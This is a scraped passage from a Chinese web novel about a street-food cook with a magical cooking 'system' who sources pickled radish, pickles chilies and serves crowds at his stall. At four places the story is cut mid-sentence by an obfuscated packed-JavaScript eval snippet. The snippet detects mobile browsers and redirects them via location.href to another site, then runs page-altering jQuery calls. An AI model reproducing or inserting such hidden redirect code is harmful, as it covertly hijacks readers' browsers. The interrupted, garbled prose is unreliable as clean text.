西红柿炒蛋盖浇饭明天开始就不卖了，倒不是别的，是许梅那儿种的西红柿消耗得差不多了。 那老太太毕竟是乡下自己种的一点地，又不是专门的蔬菜种植园。他每天要一大箩筐，然后买了她小两个星期，说是自己种的菜园里面没多少了。 现在除了自己吃是这种，菜市场也好，超市也好，基本上都是那种西红柿香很少的西红柿。能做也能做，却少了酸甜适中的口感。 当然也可以买，梵挽查过，网上有专门这种差不多的西红柿。 可价格不便宜。 白切鸡已经这么贵了，西红柿盖饭就别再提升成本了。 以后西红柿盖饭就看食材有没有吧，有就做，没有就不做，算时令特别餐品，也挺好的。 “系统，明天再给我两只鸡，还有那些鸡肠什么也给我呗。” 【可以。】 看着系统文字，梵挽笑了笑。 今天的白切鸡反响出乎预料的好，梵挽打算明天再做一次。那些鸡内脏，他就打算爆炒给大家做酸辣鸡杂饭。一想起这种酸辣刺激的味道，梵挽自己都有点流口水。 想起这个，梵挽一下坐了起来。 “系统，给我酸辣鸡杂的菜谱看看。” 【酸辣鸡杂为家常菜，多流行于四川、湖南、贵州一带。根据地区或个人口味不同，菜谱都有细微不同。参考临城人口味相对清淡，因此给出相对符合临城人口味酸辣鸡杂菜谱。】 “哇哦，系统厉害！”梵挽毫不犹豫给系统竖起大拇指，“你放心，以后我有钱的话，一定满天下给你找最优质的食材。” 梵挽默默给系统画了个大饼。 系统版面幽光闪烁了会儿，然后冒出一行文字。 【找到两种评价优以上的酸萝卜，是否接受任务？】 【任务奖励：一份完美适合临城特色酸辣鸡杂盖饭酸辣椒腌制菜谱。】 “又有任务。”梵挽高兴地马上接下。 美食系统给他的任务挺好玩的，大多都是根据他的实际需求。不过他们毕竟是要绑定一辈子的嘛，合作愉快也挺好的。 梵挽研究了一个多小时的酸辣鸡杂菜谱，然后才慢慢睡了过去。 一觉天明。 他大早上精神抖擞起来往楼下跑的时候，临出门送小孩的郑慧塞了梵挽一个鸡蛋煎饼，“我自己煎的，家里都爱吃，小碗尝尝。” “谢谢郑姐。” 梵挽咬了口确实好吃，挥着手就往菜市场跑。 菜市场里菜买好后，许梅又塞给了梵挽很多番薯叶子，“再不吃就老了，上次你说喜欢就给你摘了这一大蛇皮袋。” 许梅现在是在卖长豇豆，还有不少的茄子，倒是让梵挽有些不好意思。 “许奶奶，我暂时用不上茄子这些。” 许梅毕竟不差钱，她拿着自己的苹果手机笑道：“没事，这番薯叶子你拿走，送你的。有需要你就买，没需要我就等等，不碍事的。” 梵挽前几天还帮她调了下手机字体，加上也和梵挽做生意好几天了。许梅发现小伙挺好，都相处出一点感情了。 和许梅打了招呼，梵挽提着一大堆东西就回了小院。 没想到一到小院门口，旁边就蹿出一个人，可把梵挽吓了一跳，手里的东西好悬没甩出去。 “饭碗老板小心小心。”蹿出来的人赶紧去提东西。 梵挽下意识喊了出来，“上帝之狼！？” 虽然他和上帝之狼没什么深交，但上帝之狼多次给‘黄牛’大价钱，那挥金如土的样子，梵挽对他的声音还是印象深刻的。 “哎呀哎呀，没想到饭碗老板一下就记起我了。”上帝之狼尴尬笑道：“其实我叫陈家业，之前就和老板说过，可能老板没注意。不过叫我上帝之狼也行，我觉得这名字挺酷。” 梵挽尴尬地看着他，但手里东西太重，还是推开小院的大门让上帝之狼进来。 这会儿，这农民房估计就二楼韩花花在了。 要是大家伙都在，这里有老有小，梵挽也不太好带陌生人来。 上帝之狼打量了这房子，就是那种城中心农民房，就是这边稍微偏一点。房主人原地基上盖的三层，前面圈个小院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16035593|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一层一租户格局。 院子里面摆了很多的泡沫箱，里面种着一些简单的大葱、青菜什么的，还有儿童滑板车和其他一些零零散散的东西，反正环境就这样。 “梵挽老板住这里啊。”上帝之狼拍拍手，顺带也打量梵挽。 之前梵挽一直戴着口罩，实话说他没见过梵挽的脸。 不过么，这种事他真要打听，那边附近的一些店家看一下监控过来，立马就能知道梵挽卖完东西后，餐车是一路开到这里的。 花点钱的事。 大家不是傻子，梵挽的脸没见过，但看身高、穿着和声音，再加上梵挽提着的一大袋明显的五花肉还有那些青椒之类的菜，马上就确定了人。 别说，梵挽老板还有点帅的。 不是那种明星惊艳的帅，就是那种清俊型，眉目还有些坚毅，看着好说话但也看着不容易说动那种人。 “你在下面等等。” 梵挽还真没邀请他去三楼自己住处坐坐的意思。 上帝之狼来了肯定是有事，有事一嘴巴说的事，他俩的关系到不了坐下寒暄的程度。 上帝之狼就被晾在了院子里。 梵挽去楼上放好了东西，然后才看到梵挽下来。 “什么事？”直接开门见山。 上帝之狼今天特意穿了一身平价的衣服，那个他看过很多小说的，他总觉得梵挽有点‘世外高人’的味道，从他死活每天生意这么好就做六十份就看得出来。 他虽然混，但不想做个无脑被打脸的富二代。 上帝之狼尽量让自己平和地笑，然后开口，“老板，是这样的，我想请你帮个忙。” “就昨天我不是打包你做的白切鸡拿家里去了么，我爸妈吃了都说好。我爸有个客人，挺重要的，就好一口白切鸡，所以想请你去烧这一道菜。” “就这一道，时间是明天晚上十点。我看老板每天晚上七八点就卖完走了，不耽误你这边先摆摊的，到时候我车直接接你去。食材我们自备，钱方面好说，老板你说个价格就成。” 一说完，上帝之狼就特别诚恳地打补丁，“你千万别误会，我是特别特别诚恳来请你帮忙的，不是来炫耀我家多有钱，更不是说拿钱砸人什么的。我知道你不看重钱，最看重对美食的追求。 我刚刚说的钱是老板你劳动应该得到的回报，我的意思就是谁白白工作都不应该是不是？我就是这个意思。” “就这？”梵挽愣了下开口，“一道菜？只要有我昨晚那样的味道就可以了，其他我不用管？” “对！”上帝之狼一脸肯定，“价格老板你开口。” 当然上帝之狼相信梵挽也不会乱叫，除非梵挽把他真当傻子。 梵挽想了下，“一千吧。” 让他赚一下那个黄牛的钱吧，想起来就伤心。 “啊？一千！？”上帝之狼一脸诧异，其实他的心理价位是十万以内。一道白切鸡当然不值这个钱，但他不是专门来请了么。有时候，有别的东西值这个钱。 梵挽憋了会儿，又继续开口，“还有谁说我视金钱如粪土？要是这样，我在家躺就好了，干嘛这么热的天跑出去摆摊？” “就一千吧，我总不能比黄牛赚得少。”梵挽无语，想到那个黄牛就一言难尽。 梵挽当然也知道，上帝之狼这架势，估计一两万都会马上应。 但也没必要了。 他以后不会差钱的，就说那个宋陶瓷，送去拍卖就能不少钱。心里有底气，就对太烫手的钱没那么渴望。 18.三份评价优的酸萝卜 上帝之狼脸上的表情一时相当奇怪，好半天才开口，“那你为什么不多卖一点？” 梵挽摊了摊手。 “我的小餐车就这么点大，下面配的燃气炉子有限，一般五六十份以后就用得差不多了。再说，我的五花肉什么，都是当天最早去菜市场买的，基本最好的都被买来了，再多就得多跑几个菜市场，要累死我吗？” 上帝之狼哭笑不得，“既然这样，不如答应我上次说的开店算了。老板你技术入股，前期店铺、装修、请人之类的，我会负责。咱们签个合同，老板你只管做菜，盈利了之后我们五五分，怎么样？” 梵挽直接拒绝。 这也太不自在了，况且他毕竟有系统，万一弄出一些奇怪的事暴露了怎么办？梵挽不怕别的，就怕别人怀疑他精神分裂，简直有理说不清。 “行吧。”上帝之狼也不勉强，“老板你再考虑考虑，同意的话随时可以找我，那我就先回去了，明天晚上来接你。” 上帝之狼干脆利落离开后，梵挽一拍脑袋，也赶紧出门。 昨晚他可是接了系统的任务，要给它找到两个至少评价优以上的酸萝卜，再晚一点就赶不上他中午出摊了。 其实酸萝卜的腌制方法很简单，如果不追求口味，绝大部分的人都能轻易制作出来。但刚好要做得酸甜适中，萝卜入嘴又脆又香，那就要考验技术了。 梵挽常去的菜市场，早上去买其他食材的时候他就找了一圈，没找到合适的。 这会儿，他拿出手机搜索了好几个菜市场。 一路从最近的开始。 结果连跑了两家，都没找到合适的。倒是意外找到了一家竟然有卖自己做的腌酸菜，系统评价到达了优。梵挽索性买了点酸菜，找了个没人的地方就让系统收录了。 “呼，好热。”随着时间跑得越长，大夏天中午的热浪就起来了。 其实现在回去也可以，美食系统的任务一向没有强制性，大不了再拖延几天。可梵挽这倔强劲也上来了，找都找了，就打算尽可能多跑几个地方。 他出来也小两个小时了，估摸中午的出摊是赶不上了。 既然这样，梵挽也就不急了。 他给自己买了瓶冰水，咕噜噜喝了大半以后，这才骑着电瓶车去了最近的一家大型超市。 超市里面也有酸萝卜，是那种腌制好的罐装产品。 梵挽拿起一瓶，就看到系统的评价冒出来。 【腌制酸萝卜，选用当年生长白萝卜，从萝卜纹理明显，生长过老，影响部分口感。检测出过高含量防腐剂，评价差。】 梵挽默默拿起另外一个牌子的酸萝卜。 【腌制酸萝卜，选用当年生长白萝卜，萝卜中有部分细菌物质，有轻微变质，评价极差。】 梵挽逛了一圈，超市的腌制萝卜，在系统的美食收录标准下，大多都有化学物质超标的评价，最好的也只有良。也对，超市产品大多是流水线出来的，追求的是保质期，口感上更是不出错就是最好的。 “看来超市不行，还得去那种菜市场找。” 梵挽划拉着手机，就近去了一个小菜市场。 它位置稍微有点偏僻，四周农民房居多，门口更有一排随意摆放的摊位。梵挽绕了一圈，忽然慢慢往后退。 因为他嗅闻到了那种腌制的酸辣味，大概是因为他在集中精力找酸萝卜的原因，现在对这个味道特别敏感。 这店在小菜场内部的角落位置，还有个门头，里面摆了很多大米、粉丝、面条、腊肠之类的东西，是粮食的副食品店。 老板人还不在。 梵挽在原地等了会儿，才看到老板端着个饭碗过来，“买什么？” 饭碗看了下时间，竟然十一点了。 “想买酸萝卜，这里有吗？” 老板立刻放下手里的碗，“有，还有腌雪菜，是我家里自己做的，都是十五一斤。” 梵挽就看他一边说，一边从一个副食品的架子下面拿出一个坛子缸，缸口覆盖着保鲜膜，再倒扣这个碗。 “能尝尝吗？” 老板没说什么，直接打开直接夹出一片递给梵挽。 入口酸辣，吃得梵挽一个激灵，口水都分泌了一些。要是稍微冷藏一下，估计味道会更好。 【腌制酸萝卜，选用当年生长白萝卜，萝卜新鲜，自然发酵。萝卜色泽透亮，口感爽脆，评价优。】 梵挽立刻高兴地一挥手，“老板，我都要了，能连着这个坛子缸一起给我吗？” 老板愣了下。 “那...那要算你钱的。” “没问题。”梵挽一边看老板算钱，一边说老板闲扯，“老板，你家这个怎么做的，我刚刚吃起来好吃极了。” 老板倒是无所谓，简单说了一下配方。 其实腌制酸萝卜，网上教程一大堆，他这个也是常见的配方。关键是什么，是你自己在做的时候，根据萝卜的多少量放置合适的盐、糖等。这些东西，做惯的人全凭借手感，不是简单拿个用什么什么料的配方就能做出了的。 梵挽一边听一边点头，然后心里默默嘀咕，“系统，看看，又给你找个菜谱，你自己推算一下。” 系统不言。 萝卜很吃重，里面还有不少酸汤汁，加上老板没去皮，是连上坛子缸一起算的钱，直接开口，“一共三百九，缸的钱算里面了。” 这多少有点坑人的意思，老板也是看梵挽挺年轻，所以就报了个高价，就赌年轻人分不清菜价。 梵挽心里笑了声。 也行吧，就当用这老板的配方换了。当即付了钱，以后就不来了。 老板看他抱着坛子就走，也是一乐。 双方都皆大欢喜。 出了门，梵挽拐过街角就笑道：“系统，来来，先给你一份。” 很快，他手里一轻。 梵挽拍拍手，谁知道走到街角底下，刚好是一家小餐馆，写着湘西特色木筒饭，看起来和盖饭有点像。 他也好久没在外面吃东西了，索性就晃了进去，然后就叫了一份回锅肉木筒饭。 梵挽也挺恶趣味，他想吃吃别人做的。 最后梵挽所谓的木筒饭，就是把电饭锅的米饭盛进木筒里面，然后老板再爆炒一个回锅肉覆盖在木筒的饭上，一份水灵灵的湘西木筒饭就做好了。 就是盖浇饭，只是容器是木筒，梵挽都笑了。 不过老板送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16040016|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一碗紫菜汤，还有一小碟酸萝卜。 梵挽吃了一口木筒饭，感觉味道还不错。他这人嘴巴不是很挑，只要不是难以下咽，基本都吃得下。 吃了几口，然后夹了一块酸萝卜到嘴里。 送的东西，梵挽也只是当个添头。 没想到这酸萝卜味道意外的好，和他刚刚买的比起来，这个酸萝卜更嫩一点，同时更加酸，吞咽下去后带一点回甘。 系统的评价也立刻浮了起来。 【腌制酸萝卜，选用当年生长红萝卜，萝卜新鲜，自然发酵，腌制时间两天。萝卜汤水稍许泛红，口感酸香绵长，评价优。】 意外之喜啊。 反正立马放下筷子叫老板。 这店面是那种常见的苍蝇馆子，地段不怎么好，大中午的，店里也就三三两两的客人。 这店应该是夫妻店，男老板烧菜，女老板收银和收拾碗筷。 这会儿空，男老板就走了过来，“怎么？” 他看了看梵挽，担心是不是吃出头发丝什么的了。 梵挽立即道：“老板老板，这个酸萝卜太好吃了，你自己做的吗？” 老板愣了下，然后点头。也才发现梵挽开着手机，手机界面上都是有关酸萝卜的一些百度百科知识。 “老板，那能卖我点吗？”梵挽赶紧道：“钱好说，我就喜欢这一口，太开胃了。” 梵挽一这么说，老板就一下笑了起来。刚才他都紧张了，以为梵挽要拍桌子说吃木筒饭吃出什么问题了。 “没问题。”老板招呼自己老婆去厨房里面拿，然后有些自豪地笑道：“我和我老婆是湘西那边的人，这酸萝卜是我当地有名的特色小吃，家家户户都会制作。家家户户的配方不一样，但家家户户做出来的都好吃。” 显然梵挽对他的酸萝卜惊为天人的样子，让这个老板整个人就跟大夏天喝了一大杯冰水一样，爽得不行。 “这个酸萝卜，别看做法简单，它现在在我们那儿都被列入非物质文化遗产名录了。我们那儿，几天不吃，嘴巴里就想得慌。” 男老板介绍了会儿，女老板提了两个大塑料袋出来，每个塑料袋各放了五个打包盒，里面装的全是酸萝卜。 女老板把东西放在梵挽跟前的桌子上，她声音带了一点口音笑道：“这袋是他家的口感，这袋我家味道的，你都尝尝。” 果然一家一个配方。 梵挽赶紧拿出手机问他们多少钱，谁知道他俩都不要，但梵挽还是转了两百过去。 老板不好意思，拉着梵挽要加他联系方式，说下次多腌一点再送给他。 他们店里生意不太好，所以腌得不多，今天就这点了。还说梵挽自己在家也可以做，到时候也可以把配料发给梵挽，不懂能随便问他。 盛情难却，加了后，梵挽美滋滋地吃完了木筒饭。 得来全不费功夫。 而且他没猜测错的话，女老板的那份应该也是优，不仅多给了系统一个优的腌酸菜，酸萝卜还超额完成了任务。 梵挽出去的时候，拎着酸萝卜嘀咕，“系统快夸我。” 系统冒出一个字。 【优。】 梵挽一下给看笑了。 19.新品酸辣鸡杂 跑了一个上午，到家后的梵挽才洗了把冷水脸，回过神就发现手机有新的信息跳出来。 他拿起一看，发现是刚刚加的那个木筒饭的老板发来的详细配方。 【我每次做都是做一小坛，刚好餐馆两天的量，一般不多做。小哥你看看，按照这个配方做出来的酸萝卜味道对不对，不对再来问我。】 对方热情得很，梵挽赶紧给人家回了一个谢谢。 这边和餐馆老板结束聊天，梵挽就研究起了系统给的腌辣椒菜谱。 “我来看看怎么做法。”结果梵挽一看，这腌制辣椒和酸萝卜不一样，它要彻底入味到达最佳风味，起码密封二十天左右，那还有的等。 “系统。” “系统。” 系统面板无言，只是梵挽忽然眼睛视线模糊了下，然后一个有些粗粝的一小罐陶制品出现在他面前。 梵挽立马凑过去，轻轻一嗅，他就闻到了一股酸辣让人口齿生津的味道，是腌制的酸辣椒！ “系统，你真是越来越懂我了。” 梵挽话音一落，系统板面浮现文字。 【系统任务触发，刀工练习，增加刀工熟练度，是否接受？】 【任务奖励，一罐评价为极优的腌制酸辣椒。】 梵挽忍不住笑了起来，“接受接受。” 他怎么感觉系统有点打补丁，奖励都先给了，然后补了一个任务。 算了，也要给系统一个面子嘛。 梵挽不再乱说，把系统给的酸辣椒收好后，梵挽才认真地拿出早就买好的青色小米椒。 “系统，今天练习刀工，我就融入日常备菜之中吧。” 以往他大多用萝卜来练，但萝卜和其他菜的处理方式都不同，难易程度也不多，今天不如就把练习放到其他食材之上。 首先是小米椒，清洗干净后要注意挑选，有被虫子破坏或者运送破坏的统统不要。沥干净水分后，再是要去掉小米椒的蒂头多余部分。 这些都处理好后，根据菜谱，为了加快腌制时间，所以取巧让梵挽先烧开一锅水，放入盐，而后放入辣椒。但不用在水中煮太久，颜色有稍许改变后，小米椒就要立刻捞出，之后晾在一边备用。 之后就是调料水，按照小米椒的分量，按照系统调过的比例依次放入八角、冰糖、盐等，料水开后继续烹饪四到五分钟。 料水烧煮期间，就将青小米椒放入提早准备好的玻璃坛子之中，同样按照比例加入一些姜片、大蒜。 等煮好的料水晾凉后，再沿着坛壁缓缓倒入其中。想要防止生菌的话，也可以适当放入稍许高度白酒。之后就封坛，差不多二十天到一个月，等立马的腌制酸辣椒颜色变得金黄透亮，这份东西就算是做好了。 梵挽抱着坛子，在室内转了一圈，寻了个好位置放好后，拍拍手满意笑了起来，“大功告成。” 小米椒腌制完毕后，梵挽立刻认真道：“系统，之前那些鸡内脏给我吧，我来改刀处理。” 他买的那些鸡，大头系统要收录，目前最多也只能再给他两只了。不过好歹买了十来只鸡，一个个的鸡各种处理出来的可食用内脏不少，内脏系统不收录，能全部拿出来给他。 内脏处理是个精细活，不能因为到时候有酸辣味去覆盖，理论上能掩饰不少内脏的腥，所以就处理不干净，梵挽做不出来这种事，系统也不同意。 梵挽拿起小刀，首先是大批量的鸡肠。 买的时候帮忙宰杀，都只是做了简单的清理，现在梵挽手起刀落，利索的划开细小湿滑的鸡肠，直接用净水冲洗干净，又刮去一些肠中的黄色油脂。 鸡胗那层皮也要小心扯下，然后是外面附带的稍许浮筋之类的东西，一直把它处理得如同凉快肉红色漂亮的蝴蝶翅膀的模样，然后就放在一旁稍许晾干备用。 随着不断清理，梵挽整个心神也越发投入其中。 他现在已经习惯了那种逐渐沉浸，然后到达一种奇妙的仿佛小说中形容的悟道的水准中。 这时候，梵挽的动作越来越快。 即便只是快速清理、改刀，但梵挽有种这时候给他任何菜，他都能切出花来这种错觉。 一份份的鸡内脏被他处理完，一直到梵挽忽然放下手中的刀，他整个人因为站不稳蹭蹭地倒退，靠到了墙壁才大口喘气起来。 他饿得都有点低血糖了。 幸好他有准备，一开始就放好了能量棒还有糖水在台子上，这会儿拿起就吃。一口气吃了四五根能量棒，还把一大杯的糖水喝完，他才慢慢缓过了劲儿。 “饿死我了。” 系统帮他调用神经，控制精准度，然后在大脑有效形成极其准确的肌肉记忆，这消耗能量实在太大了。 系统版面没什么变化，只是浮现文字。 【任务完成，奖励已发放。】 梵挽笑了笑，没再说话，而是蒸上了大米饭，再专心准备起了白切鸡。酸辣椒和酸萝卜先放进冰箱冷藏，一直到下午四点左右，梵挽准备好食材就打算出发。 楼下看到韩花花，和老人打了个招呼，梵挽就戴好口罩把餐车开了出去。 现在梵挽对摆摊地方的人流量也有了一定认知，所以远远看到不少人后，他没和之前那样不自在了。 有意思的是距离还有点远呢，梵挽就听到有人嗓门十足地喊：“饭碗老板来了！都让开，都让开！让他过来！” 梵挽开着餐车过去，竟然发现四五个有些膀大腰圆的大汉，手臂上都统一绑着一条哈士奇头像的丝巾，然后在那边维持秩序。 “上帝之狼？”看这架势，梵挽一下就猜到是上帝之狼的手笔。 果然等他过去，就看到上帝之上坐在街角拐口的水果店门口，手里捧着一杯冰饮朝他轻轻挥手，看上去很自得的样子。人家水果店能让他坐着挡门口，估计也是使用钞能力了。 梵挽发现这些人再一次给他占了个非常好的位置。 不过比起昨天，今天这里摆摊的人又多了起来，现在几乎到了好多餐车都是挨靠着的程度了。 如果原先各种吃的和其他乱七八糟的摆摊弄个五五分，现在全变成了吃了，也不知道其他那些摆摊的人是怎么知道这里现在人流量高的。 梵挽在不少摆摊老板的眼光下，硬着头皮把餐车开到上帝之狼用人工占着的位置上。 才停好，一群食客就往他这边冲。 “老板你知不知道，我隔壁省过来的，昨晚开了一晚上的车，本来想赶上你的午饭，谁知道你没来。” 说话的是个大姐，天太热，这会儿一直拿着冰袋覆脸，嗓门大，但看性格就知道挺好的。 “我那天在岳华、崔苗的账号上刷到你的回锅肉视频，他们吃的那个样子别提多香了，我这看一眼就馋得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16051268|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行。” 岳华那边的流量确实大，直播完后他们一般都会再剪个吃播视频。 迄今为止，那个测评视频还是不断在被人转发，也源源不断吸引别人来梵挽这边。 要是他这儿可以同城叫外卖，估计生意还要爆炸。 大姐来得早，占据了第一个位置，一边挡着后面的人一边说：“快快，给我一份回锅肉饭。” 后面马上有人喊：“老板老板，我要白切鸡，就六十八一份的那个。” 梵挽摆好锅，想起来后立马对着后面的人喊：“不好意思啊，中午没来是我准备新菜去了。” “老板，你最近这么勤劳？” 梵挽这么一说，稍微有点怨气的食客反而夸了起来。谁叫梵挽之前就不像是别的老板，生意好就拼命干，他是卖完就跑，弄得有点随心所欲。 也就是他的东西实在好吃，这一口真的戒断不了啊。 结果他说他是开发新菜，那别说了，现在不少老食客都习惯性地开始分泌口水，一听就饿了。 “什么新菜，老板快说说。你早说啊，你准备新菜的话，我就原谅你了。” “朕就这么原谅了熹贵妃，会不会太骄纵了他。” 不知道哪个活宝喊了一声热梗，顿时让现场不少人大声笑了起来。 吵吵闹闹的笑声中，倒是那个大姐开口，“对啊，老板，什么新菜？” 梵挽赶紧喊：“今天香菇滑鸡饭还有番茄鸡蛋饭都没有，回锅肉和以往一样，然后六十八一份的白切鸡有十五份左右，另外就是酸辣鸡杂盖浇饭，二十八一份，也是二十份左右。” 大姐能从隔壁省千里迢迢来，她就不差钱。 “老板，那其他的也给我各来一份，其他打包带走。” 梵挽为难地开口，“不行，一人最多两份，人太多了，得考虑后面的人。” 很多新来的食客都是这样，不少还企图使用一下钞能力。 之前就有食客叫价，三百一份，让梵挽把回锅肉卖五份给他。现在经济是不大好，但总有人还是有钱。 大姐听了，试探开口，“我多加点钱行吗？” 看梵挽摇头，倒也干脆利落，“那就要白切鸡了。” 白切鸡更贵，根据她的理念，贵肯定有贵的道理，必然更好吃。另外她吃辣比较少，怕吃酸辣鸡杂烧胃。 后面不少食客连连叹气，就知道，排前面的人好多都要买两份。 更后面的食客则是耍宝一般地喊：“各位好心人，求求买一份吧，给小的一个机会。” “咱来了好几次了，一直没买到，拜托拜托了。” 也有人喊：“朕下旨，只能买一份，只能买一份。” 不知道哪个人发神经配合喊：“皇帝下旨了，皇帝下旨了，陛下圣明啊。” 前面就有人笑了起来。 现在的年轻人就是能扯淡。 梵挽也是听得下意识笑了起来，赶紧稳住握着锅铲的手，快速在急火的热油中舀出备好的一点鸡汤放入其中，调和后加入葱蒜之类，然后哗啦一声浇在早就切好备好的白切鸡上。 那白切鸡看起来实在太漂亮了，她吞咽了下口水。随后又一阵香味被激发出来，大姐嗅闻了下，一下感觉等得值了。 “来，白切鸡好了，稍微放一会儿更好吃。” 梵挽开始准备酸辣鸡杂饭。 20.食客的热情 “拿好，您齐了。” 大姐拿过两份盖饭，说了声谢谢后就左右张望了下。 盖饭这种东西肯定现场吃个热腾腾最好，现在马路上虽然还热，不过她被手里这份美食吸引实在太久了，实在也是等不了了。 水果店被上帝之狼占了，便利店里面全是人。谁叫梵挽这儿生意好，不少食客就一直在里面图个凉快等他。 就算现在梵挽来了，可架不住有些人不止自己来，更是分工明确，有的人排队，有的人继续占位置。 大姐绕了圈，就发现满满当当的餐车中，有家老板的餐车铺得特别大。 他的餐车应该是改制过，后面用挂钩还是什么又拖了一节。上下两层的餐车架子上，放了很多的米粉、米线、白米饭、泡面饼，然后就是各种蔬菜、香肠、鸡蛋、腊肠还有一些五花肉什么的。 他来得也特别早，占了很大一片位置。 和他一起来的还有他老婆，两人还带了三张那种四方折叠桌，更配备了十来把塑料椅。 大姐也来得早，刚刚摆摊人多起来的时候，她还看到有几个摊主过去理论。但这老板的老婆有点虎，应该也是他们夫妻商量好的。 他老婆直接去和他们理论的餐车老板那儿就推人家的餐车，又一屁股坐在人家餐车那边哭号。 老板就抓住理论的餐车其他老板，不让他们过去干涉自己老婆哭闹，主打一个有理的怕闹的，闹的就怕横的。 最后眼看事情要越闹越大。 这里人流量大，要是叫来警察就全得被清理。最后其他几个餐车老板过来做和事佬，各种拉架才算是风平浪静。 大姐看了看那个大餐车老板，他的三张折叠餐桌那儿还有一两个空档。倒不是大家素质这么好，有位置不去坐。是因为老板吆喝了，不买别坐。 大姐索性直奔大餐车老板那儿开口，“给我一份那个牛肉炒粉，少点辣椒。” 大餐车老板刚刚开始就有些不高兴，本来他这边有位置，客流大的前提下，他这儿生意算是络绎不绝。 他是一直听人说什么那个盖浇饭老板会不会今天不来了？他才不在意来不来，最好别来。 刚刚他还奇怪，四五个膀大腰圆的男的站着圈一块地方干嘛，他本来还打算等这些人走了，再去抢占摆两张桌子的。 谁知道这想法还没落实，就看到一个戴着口罩的小伙这个点才慢悠悠地来，那些男的竟然是专门有人请来给他占位置的。 搞笑。 大餐车老板心里不高兴极了，更让他愤怒的是那个小年轻一来，好多他这边排队的人都不排了。 就连已经在吃的都嚷嚷，“饭碗老板！！你早说你来啊，我这都吃上了。” 但说完就丢下他的东西去排队。 否则，他这儿不至于还有一两个位置还空着。 更让大餐车老板不舒服的是那个小伙一直在说，东西没那么多的，太后面的人别排了。但那群食客就个神经病一样，非要去排队，说什么万一呢。 甚至还有后面的食客喊：“我不，我是倔驴，我就要排。” “我要老板看到我的诚心，主打一个不听劝。” “就是就是，你玩梗我也玩梗，一起让老板在厨艺界出圈。” “我不管，我就排，我要老板看到愧疚，然后心疼我，最后说对不起我，以后专门只做给我一个人吃。” 各种乱七八糟喊的都有，他根本不懂那些年轻人为什么要这样做这种吃力不讨好的事。 不理解没关系，但他这儿生意一下变得三三两两是事实，弄得他心里憋了一股火。 所以这会儿大姐过来的时候，他正在烦闷地抽烟。烟气飘过来后，大姐不高兴地皱了皱眉。 老板压根没在意，只是随手把烟蒂往地上一扔，然后就开始炒，很快一份牛肉炒粉就好了递给大姐。 大姐拿着牛肉炒粉就去了餐桌那儿坐下。 结果她把炒粉往旁边一放，随后就打开白切鸡开始吃。第一口入口就眼睛一亮，好吃。 鸡皮劲道，鸡肉嫩而不散。 一边吃就一边开了手机视频，然后就听她极开心地开口，“小囡，这个白切鸡真好吃。但是天太热了，我带不回来。你明天和公司请假，来这边陪妈妈吃。你那个班没几块钱，妈妈补你一个月工资，过来和妈妈一起吃。” 大姐越说越开心，这边大餐车老板咣当扔了一下手里的铁勺。 他老婆想去赶人，但又觉得说不了什么，人家买也买了，总不能强迫别人买了必须吃吧。 而在梵挽这儿，梵挽一抬头就看到一个拿着手机在录像的人看着他。 梵挽赶紧开口，“别拍我。” 录像的是个二十几岁的女孩，这会儿笑道：“没呢，我就是想录制一个老板做饭的视频，晚上回去剪辑。 我叫梨梨小雨，岳华和苗苗的助理。老板他们在别的地方买一会儿晚上测评的东西，这里让我来排队了。” 梨梨小雨，一听就是‘艺名’。 梵挽恍然大悟，还是熟人。 应了一声后，梵挽就快速从用了冰制品隔开保鲜的食品箱子里面拿出一份准备好的鸡杂，又顺手拿出一个小坛子。 里面的酸辣椒一取出，梨梨小雨就闻到了一股有些酸辣的香味。酸辣味一向就能刺激味蕾，她感觉自己口水都冒出来了。 “老板，这酸辣椒还能生吃吗？” 能的，梵挽自己还吃过。 应该是考虑到临城这儿的人，吃不了极辣，所以系统给他的这坛子酸辣椒不是那种特辣的辣椒。它入口后，是那种酸辣醇厚感，虽然吃了会斯哈斯哈，但梵挽还能接受。 岳华两人确实给他带来了巨大的流量，梵挽还是很谢谢对方的，所以戴上新的手套，快速给梨梨小雨拿了一小根酸辣椒。 “给。” 梨梨小雨悄悄一口就直接吃了，然后眼睛一亮。 “嘶，好吃。” 这酸辣椒入口后，立马就有一些汤汁爆了出来。其实很多人腌不好，这个汤汁的口感不仅咸还有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 